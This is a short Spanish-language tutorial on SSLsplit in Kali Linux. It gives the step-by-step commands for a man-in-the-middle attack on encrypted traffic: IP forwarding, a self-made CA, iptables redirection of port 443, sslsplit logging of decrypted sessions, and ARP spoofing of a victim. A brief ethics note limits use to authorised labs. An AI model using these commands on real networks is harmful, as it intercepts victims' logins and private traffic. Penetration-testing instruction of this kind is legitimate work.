SSLsplit diseñada para realizar ataques Man-in-the-Middle sobre conexiones cifradas SSL/TLS

 

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SSLsplit diseñada para realizar ataques Man-in-the-Middle sobre conexiones cifradas SSL/TLS

SSLsplit es una herramienta de prueba de penetración en Kali Linux diseñada para realizar ataques Man-in-the-Middle (MitM) sobre conexiones cifradas SSL/TLS. Permite interceptar, transparentar y descifrar tráfico HTTPS, FTPS o POP3S, guardando los datos en texto plano para su análisis auditor.

Requisitos previos y configuración del sistema

  1. Habilitar el reenvío de IP (IP forwarding) en Kali:

    Bash
    sysctl -w net.ipv4.ip_forward=1
    
  2. Generar una entidad de certificación (CA) de prueba y la clave privada:

    Bash
    openssl req -x509 -newkey rsa:2048 -keyout ca.key -out ca.crt -nodes -days 365
    
Configuración de reglas con iptables

Redirige el tráfico HTTPS (puerto 443) al puerto donde escuchará SSLsplit (ejemplo: 8443):

Bash
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443
Ejecución de SSLsplit

Crea un directorio para guardar los registros y arranca la herramienta:

Bash
mkdir /tmp/sslsplit-logs
sslsplit -k ca.key -c ca.crt -l log.log -L /tmp/sslsplit-logs/ ssl 0.0.0.0 8443
  • -k ca.key: Especifica la clave privada de la CA.

  • -c ca.crt: Especifica el certificado de la CA.

  • -l log.log: Guarda un resumen del tráfico en un archivo de registro.

  • -L /tmp/sslsplit-logs/: Almacena las conexiones individuales interceptadas en archivos separados.

  • ssl 0.0.0.0 8443: Define el protocolo y el puerto local de escucha.

Ataque de envenenamiento ARP (ARP Spoofing)

Para redirigir el tráfico del objetivo hacia tu máquina Kali (utilizando arpspoof):

Bash
arpspoof -i eth0 -t <IP_VICTIMA> <IP_GATEWAY>
Nota de seguridad y ética: SSLsplit requiere que la víctima confíe en la CA generada o que el navegador acepte la advertencia de certificado no válido. Utiliza esta herramienta únicamente en entornos autorizados o de laboratorio.

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